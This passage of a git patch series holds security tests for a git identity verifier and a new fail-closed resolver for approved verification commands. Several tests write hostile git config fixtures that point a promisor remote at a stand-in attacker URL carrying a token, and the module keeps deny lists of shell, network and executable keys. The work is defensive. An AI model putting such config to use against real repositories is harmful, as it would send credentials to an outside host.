verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.includeFile, repo.extra.linkPath); +}); + +test('benign includes and safe linked worktrees still verify', async (t) => { + const included = await createBenignIncludeRepo(); + t.after(() => included.cleanup()); + let configLists = 0; + let commands = 0; + const includedResult = await verifyGitIdentityV1(validRequest({ + path: included.path, base_sha: included.baseSha, head_sha: included.headSha, + }), { + spawn(command, args, options) { + commands += 1; + assertClosedProtocolEnv(options.env); + if (isEffectiveConfigList(args)) configLists += 1; + return nodeSpawn(command, args, options); + }, + }); + assert.equal(includedResult.status, 'verified'); + assert.equal(configLists, 2); + assert.ok(commands <= 20); + assert.equal(includedResult.discrepancies.length, 0); + + const linked = await createLinkedWorktreeBenignConfigRepo(); + t.after(() => linked.cleanup()); + const linkedResult = await verifyGitIdentityV1(validRequest({ + path: linked.path, base_sha: linked.baseSha, head_sha: linked.headSha, + })); + assert.equal(linkedResult.status, 'verified'); + assert.equal(linkedResult.observation.head_sha, linked.headSha); + assert.equal(linkedResult.discrepancies.length, 0); +}); + +test('system global and caller GIT_CONFIG surfaces cannot influence observation', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const hostileRoot = await mkdtemp(path.join(tmpdir(), 'p14-gitconfig-env-')); + t.after(() => rm(hostileRoot, { recursive: true, force: true })); + const hostileFile = path.join(hostileRoot, 'global.cfg'); + writeFileSync(hostileFile, `[extensions] + partialClone = leaked-origin +[remote "leaked"] + promisor = true + partialclonefilter = blob:none + url = https://attacker.example/leaked.git?token=SUPERSECRET +`); + const previous = { + GIT_CONFIG: process.env.GIT_CONFIG, + GIT_CONFIG_GLOBAL: process.env.GIT_CONFIG_GLOBAL, + GIT_CONFIG_SYSTEM: process.env.GIT_CONFIG_SYSTEM, + GIT_CONFIG_NOSYSTEM: process.env.GIT_CONFIG_NOSYSTEM, + GIT_CONFIG_COUNT: process.env.GIT_CONFIG_COUNT, + GIT_CONFIG_PARAMETERS: process.env.GIT_CONFIG_PARAMETERS, + GIT_CONFIG_KEY_0: process.env.GIT_CONFIG_KEY_0, + GIT_CONFIG_VALUE_0: process.env.GIT_CONFIG_VALUE_0, + }; + process.env.GIT_CONFIG = hostileFile; + process.env.GIT_CONFIG_GLOBAL = hostileFile; + process.env.GIT_CONFIG_SYSTEM = hostileFile; + process.env.GIT_CONFIG_NOSYSTEM = '0'; + process.env.GIT_CONFIG_COUNT = '1'; + process.env.GIT_CONFIG_PARAMETERS = "'extensions.partialClone=origin'"; + process.env.GIT_CONFIG_KEY_0 = 'remote.origin.promisor'; + process.env.GIT_CONFIG_VALUE_0 = 'true'; + try { + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + for (const [key, value] of Object.entries(previous)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + } +}); + +test('protocol denial blocks a missing promisor object fetch', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const includeRoot = await mkdtemp(path.join(tmpdir(), 'p14-promisor-race-')); + t.after(() => rm(includeRoot, { recursive: true, force: true })); + const includeFile = path.join(includeRoot, 'hostile.cfg'); + writeFileSync(includeFile, `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`); + const missingSha = 'c'.repeat(40); + let seenConfig = false; + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: missingSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + if (seenConfig) { + appendFileSync( + path.join(repo.path, '.git', 'config'), + `\n[include]\n\tpath = ${includeFile}\n`, + ); + seenConfig = false; + } + if (isEffectiveConfigList(args)) seenConfig = true; + return nodeSpawn(command, args, options); + }, + })); + assert.ok( + error.code === 'unreachable_head' + || error.code === 'config_influence_denied' + || error.code === 'git_execution_failed' + || error.code === 'non_commit_object', + error.code, + ); + assert.notEqual(error.code, undefined); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, includeFile, repo.path, missingSha); +}); + +test('config introduced between pre and post checks cannot verify', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const includeRoot = await mkdtemp(path.join(tmpdir(), 'p14-config-race-')); + t.after(() => rm(includeRoot, { recursive: true, force: true })); + const includeFile = path.join(includeRoot, 'hostile.cfg'); + writeFileSync(includeFile, `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`); + let seenPreConfig = false; + let mutated = false; + let configLists = 0; + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + if (seenPreConfig && !mutated) { + mutated = true; + appendFileSync( + path.join(repo.path, '.git', 'config'), + `\n[include]\n\tpath = ${includeFile}\n`, + ); + } + if (isEffectiveConfigList(args)) { + configLists += 1; + seenPreConfig = true; + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'config_influence_denied'); + assert.equal(configLists, 2); + assert.equal(mutated, true); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, includeFile, repo.path); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-identity.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs index efb5199..b446de3 100644 --- a/plugins/codex-co-engineer/test/r1-git-identity.test.mjs +++ b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs @@ -22,6 +22,7 @@ import { BASE_REF, RUN_ID, createLinearRepo, + createLinkedWorktreeRepo, createMissingRepoPath, createNonGitDirectory, validRequest, @@ -191,6 +192,21 @@ test('git runs as argv without shell and with a closed environment', async (t) = } }); +test('a safe linked worktree verifies against the common object store', async (t) => { + const repo = await createLinkedWorktreeRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.ancestor, true); + assert.equal(result.discrepancies.length, 0); +}); + test('independent repositories verify concurrently without sharing observation', async (t) => { const left = await createLinearRepo(); const right = await createLinearRepo(); From f54a2d2f80a5c2f6b2cf164675bfa3aed4a1947b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:03:08 +0000 Subject: [PATCH 075/151] feat(verify): add approved verification-command resolver Resolve a closed Codex/owner command_id selection plus typed parameter values against an immutable trusted VerificationPolicyV1 into a fresh frozen ExecutionIntent receipt. Expand only owner-authored whole-token placeholders, inherit P16A constraints, and treat provider/profile/ manifest matching text as ineligible. This slice never executes a command or implements the P16C runner. --- .../mcp/v3/approved-verification-command.mjs | 675 ++++++++++++++++++ 1 file changed, 675 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs b/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs new file mode 100644 index 0000000..c26f489 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs @@ -0,0 +1,675 @@ +// Approved verification-command resolver — ExecutionIntent / ApprovedCommand +// receipt for W15-P16B (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `manifests_carry_command_ids_not_argv`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `gate_a_constrained_trusted_policy_command_execution`). +// +// Additive v3 module. It owns one fail-closed question: given an immutable +// trusted VerificationPolicyV1 from P16A and a closed Codex/owner selection +// of command_id plus typed parameter values, what is the fresh frozen +// bounded resolution receipt? It answers nothing else. +// This module never invokes a shell, never resolves PATH, and never executes a command. +// It never opens a network socket, never reads arbitrary workspace files, never +// mutates a candidate, and does not implement the P16C runner. +// +// Authority provenance is only the closed selection input. A provider, +// profile, or manifest reported or requested command is evidence only: even +// exact matching command-id / argv / executable text cannot authorize +// resolution. Untrusted input may carry only command_id and typed +// parameters. Executable path, argv fragments, shell text, environment, +// network, mutation, and resource overrides are denied before expansion. +// +// Expansion substitutes only owner-authored whole-token `{name}` +// placeholders with validated canonical parameter values. There is no +// interpolation, substitution, globbing, option smuggling, or PATH lookup. +// Inherited P16A constraints are copied, never overridden. Failures are +// typed and content-free. Receipts are fresh-owned, deeply frozen, and +// detached. Callers' objects are neither mutated nor frozen. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedObjectIs, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; +import { + COMMAND_RECEIPT_KEYS, + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_ERROR_BYTES, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_OUTPUT_BYTES, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + DIGEST_ALGORITHM, + ENV_ENTRY_ALLOWED_KEYS, + ENVIRONMENT_ALLOWED_KEYS, + MAX_ARGV_TOKEN_BYTES, + MAX_PARAMETERS, + MAX_POLICY_OBJECT_KEYS, + MUTATION_ALLOWED_KEYS, + NETWORK_ALLOWED_KEYS, + PARAMETER_TYPES, + PLACEHOLDER_PATTERN, + RESOURCES_ALLOWED_KEYS, + UNTRUSTED_COMMAND_ALLOWED_KEYS, + VERIFICATION_COMMAND_DIGEST_LABEL, + VERIFICATION_POLICY_DIGEST_LABEL, + parseUntrustedCommandReferenceV1, + parseVerificationPolicyV1, +} from './trusted-verification-policy.mjs'; + +export const APPROVED_VERIFICATION_COMMAND_SCHEMA_ID = + 'codex-co-engineer.approved-verification-command.v1'; +export const APPROVED_VERIFICATION_COMMAND_VERSION = 1; +export const APPROVED_COMMAND_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN; +export const EXECUTABLE_CLOSURE_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE; + +export const REQUEST_ALLOWED_KEYS = capturedFreeze(['policy', 'selection']); +export const REQUEST_REQUIRED_KEYS = REQUEST_ALLOWED_KEYS; +export const SELECTION_ALLOWED_KEYS = UNTRUSTED_COMMAND_ALLOWED_KEYS; +export const RECEIPT_BODY_KEYS = capturedFreeze([ + 'argv', 'command_id', 'command_identity', 'environment', 'executable', + 'executable_closure_identity', 'mutation', 'network', 'parameters', + 'policy_identity', 'resources', 'schema', 'timeout_ms', 'version', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'argv', 'command_id', 'command_identity', 'environment', 'executable', + 'executable_closure_identity', 'mutation', 'network', 'parameters', + 'plan_identity', 'policy_identity', 'resources', 'schema', 'timeout_ms', + 'version', +]); +export const IDENTITY_RECEIPT_KEYS = capturedFreeze([ + 'algorithm', 'digest', 'domain', 'input_bytes', 'label', 'version', +]); + +export const APPROVED_COMMAND_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_id_denied', + 'authority_denied', 'control_character_denied', 'duplicate_id', + 'duplicate_parameter', 'env_name_denied', 'executable_content_denied', + 'exotic_prototype_denied', 'invalid_array', 'invalid_encoding', + 'invalid_format', 'invalid_json_type', 'invalid_json_value', 'invalid_type', + 'missing_key', 'mutation_permission_denied', 'network_content_denied', + 'non_enumerable_property_denied', 'option_smuggling_denied', + 'own_undefined_denied', 'out_of_range', 'placeholder_unbound', + 'proxy_denied', 'resource_limit_denied', 'shell_content_denied', + 'symbol_key_denied', 'unknown_command', 'unknown_key', + 'value_depth_exceeded', +]); + +const PRIVATE_PATH_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_LITERAL_PATTERN = /^[A-Za-z0-9._+/=:,@%-]+$/u; +const PRIVATE_PLACEHOLDER_PATTERN = /^\{[a-z][a-z0-9_-]{0,31}\}$/u; + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + ambiguous_id_denied: 'Ambiguous Unicode, compatibility, or confusable identity text is denied.', + authority_denied: 'Provider, profile, and manifest commands are evidence only and cannot authorize resolution.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + duplicate_parameter: 'A duplicate parameter or placeholder binding was denied.', + env_name_denied: 'An environment name is outside the closed allowlist.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted policy has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_content_denied: 'Untrusted input must not contribute network targets.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + option_smuggling_denied: 'A parameter value attempted to smuggle an option or argv fragment.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_command: 'The selected command is not in the trusted catalog.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', +})); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'shell', 'shellcommand', 'template', + 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); +const AUTHORITY_FOLDS = capturedFreeze([ + 'acceptance', 'assignment', 'attention', 'catalog', 'claim', 'evidence', + 'manifest', 'profile', 'profiles', 'provider', 'providercommand', + 'providerreport', 'providers', 'report', 'reported', 'requested', + 'requestedcommand', 'suggestion', 'untrusted', 'worker', +]); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const NUMBER_IS_FINITE = Number.isFinite; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_CHAR_CODE_AT = Function.prototype.call.bind(String.prototype.charCodeAt); +const STRING_SLICE = Function.prototype.call.bind(String.prototype.slice); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const STRING_TO_LOWER_CASE = Function.prototype.call.bind(String.prototype.toLowerCase); +const ARRAY_PUSH = Array.prototype.push; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyRequestKey(key) { + if (key === 'policy' || key === 'selection') return null; + const folded = foldKey(key); + if (folded === 'policy' || folded === 'selection') return 'unknown_key'; + if (capturedIncludes(AUTHORITY_FOLDS, folded)) return 'authority_denied'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertRequestKeys(value, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + const code = classifyRequestKey(key); + if (code !== null) deny(code, path); + } + for (let index = 0; index < REQUEST_REQUIRED_KEYS.length; index += 1) { + const key = REQUEST_REQUIRED_KEYS[index]; + if (!hasOwn(value, key)) deny('missing_key', `${path}.${key}`); + } +} + +function isDotOnly(segment) { + if (typeof segment !== 'string' || segment.length === 0) return false; + for (let index = 0; index < segment.length; index += 1) { + if (STRING_CHAR_CODE_AT(segment, index) !== 0x2e) return false; + } + return true; +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return freezeRecord(IDENTITY_RECEIPT_KEYS, { + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +function findCommand(policy, commandId) { + const commands = policy.commands; + for (let index = 0; index < commands.length; index += 1) { + const command = commands[index]; + if (command.command_id === commandId) return command; + } + return undefined; +} + +function placeholderName(token) { + return STRING_SLICE(token, 1, token.length - 1); +} + +function requiredParameterNames(command) { + const required = []; + const seen = new SET_CTOR(); + const template = command.argv_template; + for (let index = 0; index < template.length; index += 1) { + const token = template[index]; + if (!capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token) + && !capturedTest(PLACEHOLDER_PATTERN, token)) { + continue; + } + const name = placeholderName(token); + if (SET_HAS.call(seen, name)) deny('duplicate_parameter', 'request.selection.parameters'); + SET_ADD.call(seen, name); + ARRAY_PUSH.call(required, name); + } + return required; +} + +function assertCanonicalInteger(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || !NUMBER_IS_FINITE(value) + || capturedObjectIs(value, -0)) { + deny('invalid_type', path); + } + if (value < min || value > max) deny('out_of_range', path); + return value; +} + +function assertCanonicalStringToken(value, path, maxBytes, pattern) { + if (typeof value !== 'string') deny('invalid_type', path); + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > maxBytes) deny('out_of_range', path); + if (!capturedTest(pattern, value)) deny('invalid_format', path); + if (STRING_STARTS_WITH(value, '-')) deny('option_smuggling_denied', path); + return value; +} + +function validateParameterValue(value, domain, path) { + const type = domain.type; + if (!capturedIncludes(PARAMETER_TYPES, type)) deny('invalid_format', path); + if (type === 'boolean') { + if (value !== true && value !== false) deny('invalid_type', path); + return value; + } + if (type === 'integer') { + return assertCanonicalInteger(value, path, domain.min, domain.max); + } + if (type === 'enum') { + if (typeof value !== 'string') deny('invalid_type', path); + const values = domain.values; + for (let index = 0; index < values.length; index += 1) { + if (values[index] === value) return value; + } + deny('invalid_format', path); + } + if (type === 'path_segment') { + const token = assertCanonicalStringToken( + value, path, domain.max_bytes, PRIVATE_PATH_SEGMENT_PATTERN, + ); + if (isDotOnly(token)) deny('invalid_format', path); + return token; + } + return assertCanonicalStringToken(value, path, domain.max_bytes, PRIVATE_LITERAL_PATTERN); +} + +function canonicalArgvToken(value, type) { + if (type === 'boolean') return value === true ? 'true' : 'false'; + if (type === 'integer') return STRING(value); + return value; +} + +function validateParameters(command, provided, path) { + const domain = command.parameters; + const declared = sortedCapturedKeys(domain); + const providedKeys = sortedCapturedKeys(provided); + if (providedKeys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < providedKeys.length; index += 1) { + const key = providedKeys[index]; + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + if (!capturedHasOwn(domain, key)) deny('unknown_key', path); + values[key] = validateParameterValue(provided[key], domain[key], `${path}.${key}`); + } + const required = requiredParameterNames(command); + for (let index = 0; index < required.length; index += 1) { + const name = required[index]; + if (!SET_HAS.call(seen, name)) deny('missing_key', `${path}.${name}`); + } + for (let index = 0; index < declared.length; index += 1) { + const name = declared[index]; + if (SET_HAS.call(seen, name)) continue; + deny('missing_key', `${path}.${name}`); + } + return freezeRecord(sortedCapturedKeys(values), values); +} + +function expandArgv(command, parameters, path) { + const template = command.argv_template; + const argv = []; + const used = new SET_CTOR(); + for (let index = 0; index < template.length; index += 1) { + const token = template[index]; + const entryPath = `${path}[${index}]`; + if (capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token) + || capturedTest(PLACEHOLDER_PATTERN, token)) { + const name = placeholderName(token); + if (!capturedHasOwn(parameters, name)) deny('placeholder_unbound', entryPath); + if (SET_HAS.call(used, name)) deny('duplicate_parameter', entryPath); + SET_ADD.call(used, name); + const domain = command.parameters[name]; + const expanded = canonicalArgvToken(parameters[name], domain.type); + if (typeof expanded !== 'string' || capturedUtf8ByteLength(expanded) > MAX_ARGV_TOKEN_BYTES) { + deny('out_of_range', entryPath); + } + if (!capturedTest(PRIVATE_LITERAL_PATTERN, expanded) + && !capturedTest(PRIVATE_PATH_SEGMENT_PATTERN, expanded)) { + deny('shell_content_denied', entryPath); + } + ARRAY_PUSH.call(argv, expanded); + continue; + } + ARRAY_PUSH.call(argv, token); + } + return freezeList(argv); +} + +function cloneHosts(hosts) { + const clone = []; + for (let index = 0; index < hosts.length; index += 1) { + ARRAY_PUSH.call(clone, hosts[index]); + } + return freezeList(clone); +} + +function cloneEnvironment(environment) { + const entries = []; + const source = environment.entries; + for (let index = 0; index < source.length; index += 1) { + const entry = source[index]; + ARRAY_PUSH.call(entries, freezeRecord(ENV_ENTRY_ALLOWED_KEYS, { + name: entry.name, + value: entry.value, + })); + } + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList(entries) }); +} + +function inheritConstraints(command) { + return { + network: freezeRecord(NETWORK_ALLOWED_KEYS, { + mode: command.network.mode, + hosts: cloneHosts(command.network.hosts), + }), + environment: cloneEnvironment(command.environment), + mutation: freezeRecord(MUTATION_ALLOWED_KEYS, { + persistent: command.mutation.persistent === true, + workspace: command.mutation.workspace, + }), + timeout_ms: command.timeout_ms, + resources: freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: command.resources.max_output_bytes, + max_error_bytes: command.resources.max_error_bytes, + }), + }; +} + +function assertTrustedPolicyShape(value, path) { + assertPlainObject(value, 'invalid_type', path, path); + if (capturedIsArray(value)) deny('invalid_type', path); +} + +function cloneStringList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return clone; +} + +function reconstructDomain(domain) { + const type = domain.type; + if (type === 'integer') return { type, min: domain.min, max: domain.max }; + if (type === 'enum') return { type, values: cloneStringList(domain.values) }; + if (type === 'boolean') return { type }; + return { type, max_bytes: domain.max_bytes }; +} + +function reconstructCommand(command) { + const raw = { + command_id: command.command_id, + executable: command.executable, + argv_template: cloneStringList(command.argv_template), + }; + const paramNames = sortedCapturedKeys(command.parameters); + if (paramNames.length > 0) { + const parameters = {}; + for (let index = 0; index < paramNames.length; index += 1) { + const name = paramNames[index]; + parameters[name] = reconstructDomain(command.parameters[name]); + } + raw.parameters = parameters; + } + const network = command.network; + if (network !== undefined && network.mode === 'allowlist') { + raw.network = { mode: 'allowlist', hosts: cloneStringList(network.hosts) }; + } + const entries = command.environment === undefined ? [] : command.environment.entries; + if (entries.length > 0) { + const copied = []; + for (let index = 0; index < entries.length; index += 1) { + ARRAY_PUSH.call(copied, { name: entries[index].name, value: entries[index].value }); + } + raw.environment = { entries: copied }; + } + const mutation = command.mutation; + if (mutation !== undefined && (mutation.persistent === true || mutation.workspace !== 'none')) { + raw.mutation = { persistent: mutation.persistent === true, workspace: mutation.workspace }; + } + if (command.timeout_ms !== DEFAULT_TIMEOUT_MS) raw.timeout_ms = command.timeout_ms; + const resources = command.resources; + if (resources !== undefined) { + const maxOutput = resources.max_output_bytes; + const maxError = resources.max_error_bytes; + if (maxOutput !== DEFAULT_OUTPUT_BYTES || maxError !== DEFAULT_ERROR_BYTES) { + raw.resources = {}; + if (maxOutput !== DEFAULT_OUTPUT_BYTES) raw.resources.max_output_bytes = maxOutput; + if (maxError !== DEFAULT_ERROR_BYTES) raw.resources.max_error_bytes = maxError; + } + } + return raw; +} + +function looksLikePolicySnapshot(value, path) { + if (!hasOwn(value, 'commands')) return false; + const commands = optOwn(value, 'commands'); + if (!capturedIsArray(commands) || commands.length < 1) return false; + for (let index = 0; index < commands.length; index += 1) { + const command = optOwn(commands, STRING(index)); + if (command === undefined || command === null || typeof command !== 'object') return false; + const keys = ownKeysOrDeny(command, `${path}.commands[${index}]`); + if (keys.length !== COMMAND_RECEIPT_KEYS.length) return false; + for (let keyIndex = 0; keyIndex < COMMAND_RECEIPT_KEYS.length; keyIndex += 1) { + if (!hasOwn(command, COMMAND_RECEIPT_KEYS[keyIndex])) return false; + } + const network = optOwn(command, 'network'); + if (network === undefined || typeof network !== 'object' || capturedIsArray(network)) { + return false; + } + if (!hasOwn(network, 'hosts') || !hasOwn(network, 'mode')) return false; + } + return true; +} + +function consumeTrustedPolicy(input, path) { + if (looksLikePolicySnapshot(input, path)) { + const commandsInput = optOwn(input, 'commands'); + const commands = []; + for (let index = 0; index < commandsInput.length; index += 1) { + ARRAY_PUSH.call(commands, reconstructCommand(optOwn(commandsInput, STRING(index)))); + } + const reconstructed = { + schema: optOwn(input, 'schema'), + version: optOwn(input, 'version'), + commands, + }; + const parsed = parseVerificationPolicyV1(reconstructed, path); + if (canonicalJsonStringify(parsed) !== canonicalJsonStringify(input)) { + deny('invalid_format', path); + } + return parsed; + } + return parseVerificationPolicyV1(input, path); +} + +export function resolveApprovedVerificationCommandV1(input, path = 'request') { + assertNotProxy(input, path); + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertRequestKeys(input, path); + const policyInput = optOwn(input, 'policy'); + assertTrustedPolicyShape(policyInput, `${path}.policy`); + const policy = consumeTrustedPolicy(policyInput, `${path}.policy`); + const selectionInput = optOwn(input, 'selection'); + const selection = parseUntrustedCommandReferenceV1(selectionInput, `${path}.selection`); + const command = findCommand(policy, selection.command_id); + if (command === undefined) deny('unknown_command', `${path}.selection.command_id`); + const parameters = validateParameters( + command, + selection.parameters, + `${path}.selection.parameters`, + ); + const argv = expandArgv(command, parameters, `${path}.selection`); + const constraints = inheritConstraints(command); + const policyIdentity = digestOf(VERIFICATION_POLICY_DIGEST_LABEL, policy); + const commandIdentity = digestOf(VERIFICATION_COMMAND_DIGEST_LABEL, command); + const executableClosureIdentity = digestOf( + EXECUTABLE_CLOSURE_DIGEST_LABEL, + freezeRecord(capturedFreeze(['argv', 'executable']), { + executable: command.executable, + argv, + }), + ); + const body = freezeRecord(RECEIPT_BODY_KEYS, { + schema: APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + version: APPROVED_VERIFICATION_COMMAND_VERSION, + command_id: command.command_id, + parameters, + executable: command.executable, + argv, + network: constraints.network, + environment: constraints.environment, + mutation: constraints.mutation, + timeout_ms: constraints.timeout_ms, + resources: constraints.resources, + policy_identity: policyIdentity, + command_identity: commandIdentity, + executable_closure_identity: executableClosureIdentity, + }); + const planIdentity = digestOf(APPROVED_COMMAND_DIGEST_LABEL, body); + return 